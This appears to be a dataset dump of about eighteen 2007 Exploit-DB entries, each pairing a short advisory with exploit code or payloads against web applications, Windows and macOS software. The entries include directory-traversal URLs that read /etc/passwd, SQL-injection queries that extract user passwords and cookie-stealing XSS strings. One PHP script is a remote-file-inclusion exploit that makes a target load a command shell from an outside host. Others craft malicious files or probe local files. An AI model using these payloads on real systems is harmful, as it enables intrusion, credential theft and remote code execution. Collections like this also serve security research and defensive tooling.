QLWD/code_shield huggingface dataset:
标题: Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access EDB-ID: 29632 CVE: 2007-1152 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22667/info
 
Pyrophobia is prone to multiple input-validation vulnerabilities, including multiple local file-include issues and multiple cross-site scripting issues.
 
An attacker can exploit these issues to steal cookie-based authentication credentials, view files, and execute local scripts within the context of the affected webserver. Other attacks are also possible.
 
http://www.example.com/pyrophobia/?act=../../../../../../../../../../../../file.ext00

http://www.example.com/pyrophobia/?pid=../../../../../../../../../../../../file.ext%00

http://www.example.com/pyrophobia/admin/index.php?action=../../../../../../../../../../../../../file.ext%00 URL: https://www.exploit-db.com/exploits/29632
标题: phpTrafficA 1.4.1 - 'banref.php?lang' Traversal Local File Inclusion EDB-ID: 29626 CVE: 2007-1076 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22655/info
 
phpTrafficA is prone to multiple directory-traversal vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid the attacker in further attacks.
 
phpTrafficA version 1.4.1 is vulnerable to these issues. 

http://www.example.com/phpTrafficA/banref.php?lang=/../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29626
标题: Plantilla - 'list_main_pages.php?nfolder' Traversal Arbitrary File Access EDB-ID: 29634 CVE: 2007-1138 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22669/info

Simple Plantilla PHP is prone to multiple input-validation issues, including a local file-include vulnerability and an arbitrary file-upload vulnerability.

Attackers can exploit the local file-include vulnerability using directory-traversal strings to execute local script code in the context of the application. Attackers can exploit the arbitrary file-upload to execute malicious PHP code in the context of the webserver process.

Exploiting these issues may allow attackers to compromise the application and the underlying system or to access sensitive information; other attacks are also possible. 

http://www.example.com/zadminxx/list_main_pages.php?nfolder=/etc/ URL: https://www.exploit-db.com/exploits/29634
标题: Design4Online - 'Userpages2 Page.asp' SQL Injection EDB-ID: 29622 CVE: 2007-1077 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/22636/info

Userpages2 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/page.asp?art_id=[SQL]
http://www.example.com/page.asp?art_id=-1+union+select+0,Name,2,3,4,5,6,7,8,9+from+Users+where+id=1
http://www.example.com/page.asp?art_id=-1+union+select+0,PassWord,2,3,4,5,6,7,8,9+from+Users+where+id=1 URL: https://www.exploit-db.com/exploits/29622
标题: CedStat 1.31 - 'index.php' Cross-Site Scripting EDB-ID: 29624 CVE: 2007-1020 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22653/info

CedStat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CedStat 1.31 and prior versions are vulnerable. 

http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E URL: https://www.exploit-db.com/exploits/29624
标题: Magic News Plus 1.0.2 - 'n_layouts.php?link_parameters' Cross-Site Scripting EDB-ID: 29629 CVE: 2007-1142 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22661/info
  
Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities.
  
An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process or to steal cookie-based authentication credentials. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
  
These issues affects version 1.0.2; other versions may also be vulnerable.

 http://www.example.com/n_layouts.php?link_parameters="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/29629
标题: Microsoft Windows XP/2003 - ReadDirectoryChangesW Information Disclosure EDB-ID: 29630 CVE: 2007-0843 类型: LOCAL 平台: WINDOWS 发布日期: 2007-02-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/22664/info

Microsoft Windows is prone to a local information-disclosure vulnerability.

A local attacker may leverage this issue to gain access to potentially sensitive information about user permissions and accessed files. Information gained may aid in further attacks against the affected computer. 

/*
 Monitors directory changes
 (c) 2006-2007 Vladimir Dubrovin, 3APA3A
 http://securityvulns.com/
 http://securityvulns.ru/
*/

#include <windows.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]){
    HANDLE hDir;

 char buf[1024];
 FILE_NOTIFY_INFORMATION * fn;
 int read;
 WCHAR * action = NULL;

 if(argc != 2) {
  printf(
"Usage: %s <directory_path>\n"
" Monitor directory changes with all subdirectories\n"
" For any files, including ones you have no access\n"
" (as on January, 2007)\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" http://securityvulns.com\n"
" http://securityvulns.ru\n"
"This approach is not reliable and should not be used for audit and another critical operations.\n",
 argv[0]);
  return 1;
 }

 CreateDirectory(argv[1], 0);
 hDir = CreateFile(
   argv[1],
   FILE_LIST_DIRECTORY,
   FILE_SHARE_READ|FILE_SHARE_DELETE,
   NULL,
   OPEN_EXISTING,
   FILE_FLAG_BACKUP_SEMANTICS,
   NULL
 );
 if(hDir == INVALID_HANDLE_VALUE){
  fprintf(stdout, "Failed to open dir\n");
  return 2;
 }
 for(;;){
     if(!ReadDirectoryChangesW(
  hDir,
  buf,
  1022,
  1,
  FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
   FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE |
   FILE_NOTIFY_CHANGE_CREATION  | FILE_NOTIFY_CHANGE_SECURITY
  ,
  (DWORD *)&read,
  NULL,
  NULL
  )) {
   fprintf(stderr, "Failed to read directory changes\n");
   break;
  }
  for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
   fn->FileName[fn->FileNameLength/2] = 0;
   switch(fn->Action){
   case FILE_ACTION_ADDED:
    action = L"added";
    break;
   case FILE_ACTION_REMOVED:
    action = L"removed";
    break;
   case FILE_ACTION_MODIFIED:
    action = L"accessed/modified";
    break;
   case FILE_ACTION_RENAMED_OLD_NAME:
    action = L"renamed (old name)";
    break;
   case FILE_ACTION_RENAMED_NEW_NAME:
    action = L"renamed (new name)";
    break;
   default:
    action = L"(unknown)";
   }
      wprintf(L"File %s: %s\n", action, fn->FileName);
      if(!fn->NextEntryOffset) break;
      fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
  }
 }
 return 0;
 
} URL: https://www.exploit-db.com/exploits/29630
标题: Magic News Plus 1.0.2 - 'preview.php?PHP_script_path' Remote File Inclusion EDB-ID: 29627 CVE: 2007-1141 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22661/info

Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities.

An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process or to steal cookie-based authentication credentials. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

These issues affects version 1.0.2; other versions may also be vulnerable.

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*   Magic News PHP Code Execution Exploit
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*       Magic News  Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="preview.php?php_script_path=http://www.soqor.net/tools/cmd.txt?/soqor";
$page=$url.$exploit;
         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $newpage = get_page($page);

     if(eregi("Cannot execute a blank command",$newpage))
     {
       Die("\n[+] Exploit Finished\n[+] Go To : 
".$url."preview.php?php_script_path=http://www.soqor.net/tools/cmd.txt?/soqor\n[+] 
You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            
*/\n/**********************************************/");
             }
             Else
             {
                Die("\n[-] Exploit Failed\n/*        Visit us : 
WwW.SoQoR.NeT            
*/\n/**********************************************/");
                }
?> URL: https://www.exploit-db.com/exploits/29627
标题: Powerschool 4.3.6/5.1.2 - JavaScript File Request Information Disclosure EDB-ID: 29615 CVE: 2007-1044 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/22611/info

Powerschool is prone to an information-disclosure vulnerability because the application discloses information about administrative session variables.

An attacker can exploit these issue to obtain sensitive information that may aid in other attacks.

This issue affects Powerschool 4.3.6; other versions may also be affected.

UPDATE: Powerschool 5.1.2 is also reportedly affected by this issue, in a limited fashion.

http://www.example.com/admin/.js URL: https://www.exploit-db.com/exploits/29615
标题: Apple iTunes 7.0.2 - XML Parsing Remote Denial of Service EDB-ID: 29616 CVE: 2007-1008 类型: DOS 平台: OSX 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/22615/info

Apple iTunes is prone to a remote denial-of-service vulnerability because the application fails to handle malformed XML playlist files.

An attacker can exploit this issue to crash the application, triggering a denial-of-service condition.

Apple iTunes version 7.0.2 for Intel and PowerPC are vulnerable to this issue; other versions may also be affected. 

<?die with your boots on?>
<kb:station_record>
<kb:station_url_record>
</kb:station_url_record> URL: https://www.exploit-db.com/exploits/29616
标题: AbleDesign MyCalendar 2.20.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29621 CVE: 2007-1050 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/22635/info

MyCalendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 2.20.3 is vulnerable; other versions may also be affected.

http://www.example.com/calendar/index.php?go="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29621
标题: News File Grabber 4.1.0.1 - Subject Line Stack Buffer Overflow (1) EDB-ID: 29617 CVE: 2007-1037 类型: DOS 平台: WINDOWS 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/22617/info

News File Grabber is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of the affected application.

This issue affects version 4.1.0.1; other versions may also be affected. 

#!/usr/bin/perl
# ===============================================================================================
#                News File Grabber Subject Line Stack Buffer Overflow perl exploit 
#                               By Parveen vashishtha (parveen_vashishtha@yahoo.com)
# ==============================================================================================          
# Reference : https://www.securityfocus.com/bid/22617
#
# 
#
# Buffer overflow exists in Subject parameter of the .nzb file
# By Passing a newline char it crashes
# So here you go.
# 
#================================================================================================

use strict;

my($file_header)="<?xml version=\"1.0\" encoding=\"iso-8859-1\" ?>\n".
   "<!DOCTYPE nzb PUBLIC \"-//newzBin//DTD NZB 1.0//EN\" \"http://www.newzbin.com/DTD/nzb/nzb-1.0.dtd\">\n".
   "<!-- NZB Generated by Parveen Vashishtha -->\n".
   "<nzb xmlns=\"http://www.google.com\">\n\n";

my($file_end)="</segment>\n".
"</segments>\n".
"</file>\n".
"</nzb>\n";


open(OUTPUTFILE, ">poc.nzb");                        # Crafted .NZB file 
 
print OUTPUTFILE $file_header;                       # Writing Header

print OUTPUTFILE "<file poster=\"Poster\" date=\"1170609233\"\nsubject=\"";    # Vulnerable SUBJECT parameter

print OUTPUTFILE "\\n";

print OUTPUTFILE "\">\n<groups><group>some group</group></groups>\n<segments>\n<segment bytes=\"30\" number=\"1\">some name";
print OUTPUTFILE $file_end;                                     # End of file


close(OUTFILE); URL: https://www.exploit-db.com/exploits/29617
标题: Ezboo Webstats 3.03 - Administrative Authentication Bypass EDB-ID: 29610 CVE: 2007-1043 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22590/info

Ezboo webstats is prone to a vulnerability that will let attackers gain administrative access to the application because it fails to properly validate access. 

http://www.example.com/ezwebstats/update.php
http://www.example.com/ezwebstats/config.php URL: https://www.exploit-db.com/exploits/29610
标题: Meganoide's News 1.1.1 - 'Include.php' Remote File Inclusion EDB-ID: 29609 CVE: 2007-1024 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22589/info

Meganoide's news is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

This issue affects version 1.1.1; other versions may also be affected. 

http://www.example.com/path/include.php?_SERVER[DOCUMENT_ROOT]=[shell] URL: https://www.exploit-db.com/exploits/29609
标题: Microsoft Internet Explorer 6 - Local File Access EDB-ID: 29619 CVE: 2007-3406 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/22621/info

Microsoft Internet Explorer is reportedly prone to multiple local file-access weaknesses because the application fails to properly handle HTML tags.

These issues are triggered when an attacker entices a victim user to visit a malicious website.

Initial reports stated that remote attackers may exploit these issues to gain access to local system files via Internet Explorer. This would help attackers steal confidential information and launch further attacks. This attack would occur in the context of the user visiting the malicious site.

New conflicting reports indicate that these issues result only in verifying the presence of files on a vulnerable system.

These issues affect Internet Explorer 6 on a fully patched Windows XP SP2 system; previous versions and operating systems may also be vulnerable. 

The following proof-of-concept HTML code is available:

- Embed Tag Local file Access:

<EMBED SRC="file:///C:/example.pdf" HEIGHT=600 WIDTH=1440></EMBED>

- Object & Param Tag Local File Access:

<object type="audio/x-mid" data="file:///C:/example.mid" width="200"
height="20">
<param name="src" value="file:///C:/example.mid">
<param name="autoStart" value="true">
<param name="autoStart" value="0">
</object>

- Body Tag Local File Access:

<body background="file:///C:/example.gif" onload="alert('loading body
bgrd success')" onerror="alert('loading body bgrd error')">

- Style Tag Local File Access:

<STYLE type="text/css">BODY{background:url("file:///C:/example.gif")}
</STYLE>

- Bgsound Tag Local File Access:

<bgsound src="file:///C:/example.mid" id="soundeffect" loop=1 autostart=
"true"/>

- Input Tag Local File Access:

<form>
<input type="image" src="file:///C:/example.gif" onload="alert('loading
input success')" onerror="alert('loading input error')">
</form>

- Image Tag Local File Access:

<img src="file:///C:/example.jpg" onload="alert('loading image success')"
onerror="alert('loading image error')">

- Script Tag Local File Access:

<script src="file:///C:/example.js"></script> URL: https://www.exploit-db.com/exploits/29619
标题: CedStat 1.31 - 'index.php?hier' Cross-Site Scripting EDB-ID: 29608 CVE: 2007-1020 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22588/info

CedStat is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

This issue affects version 1.31; prior versions may also be affected.

http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E URL: https://www.exploit-db.com/exploits/29608
标题: Apple Mac OSX 10.4.8 - ImageIO GIF Image Integer Overflow EDB-ID: 29620 CVE: 2007-1071 类型: DOS 平台: OSX 发布日期: 2007-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/22630/info

Apple Mac OS X ImageIO is prone to an integer-overflow vulnerability because it fails to handle specially crafted image files.

A remote attacker can exploit this issue to cause denial-of-service conditions and potentially to execute code, but this has not been confirmed.

This issue affects Mac OS X 10.4.8; previous versions may also be affected. 




Release Date:
February 19th, 2007

Severity:
High

Vendor:
Apple

Versions Affected:
OSX 10.4.8

Overview:
An integer overflow vulnerability exists within ImageIO when processing a malformed .gif file. This allows for an attacker to cause the application to crash, and or to execute arbitrary code on the targeted host.

Technical Details:
When decompressing a specially crafted .gif file, the gifGetBandProc function within ImageIO incorrectly parses the malformed data causing the application to segmentation fault. 

Below the crash is triggered on OS X 10.4.8 using Safari:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x3991b000
0x918f2dc5 in gifGetBandProc ()
(gdb) bt
#0 0x918f2dc5 in gifGetBandProc ()
#1 0x918ec8ea in CGImagePlusUpdateCache ()
#2 0x918ec606 in CGImagePlusCreateImage ()
#3 0x952356c0 in -[WebImageData _cacheImages:allImages:] ()
#4 0x952355f3 in -[WebImageData imageAtIndex:] ()

Thread 0 crashed with i386 Thread State:
eax: 0x396e2000 ebx: 0x918f2bcc ecx:0x00000033 edx: 0x00027f84
edi: 0x15fb9ad0 esi: 0x00000033 ebp:0xbfffd5d8 esp: 0xbfffd140
ss: 0x0000002f efl: 0x00010206 eip:0x918f2db7 cs: 0x00000027
ds: 0x0000002f es: 0x0000002f fs:0x00000000 gs: 0x00000037

Vendor Status:
Apple was notified on 9/8/2006

Discovered by:
Tom Ferris
tommy[at]security-protocols[dot]com



https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29620-1.gif

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29620-2.gif URL: https://www.exploit-db.com/exploits/29620
标题: Turuncu Portal 1.0 - 'H_Goster.asp' SQL Injection EDB-ID: 29611 CVE: 2007-1022 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22591/info

Turuncu Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/h_goster.asp?id=1+union+select+0,MsEmail,MsUserName,MsPassword,4+from+uyeler URL: https://www.exploit-db.com/exploits/29611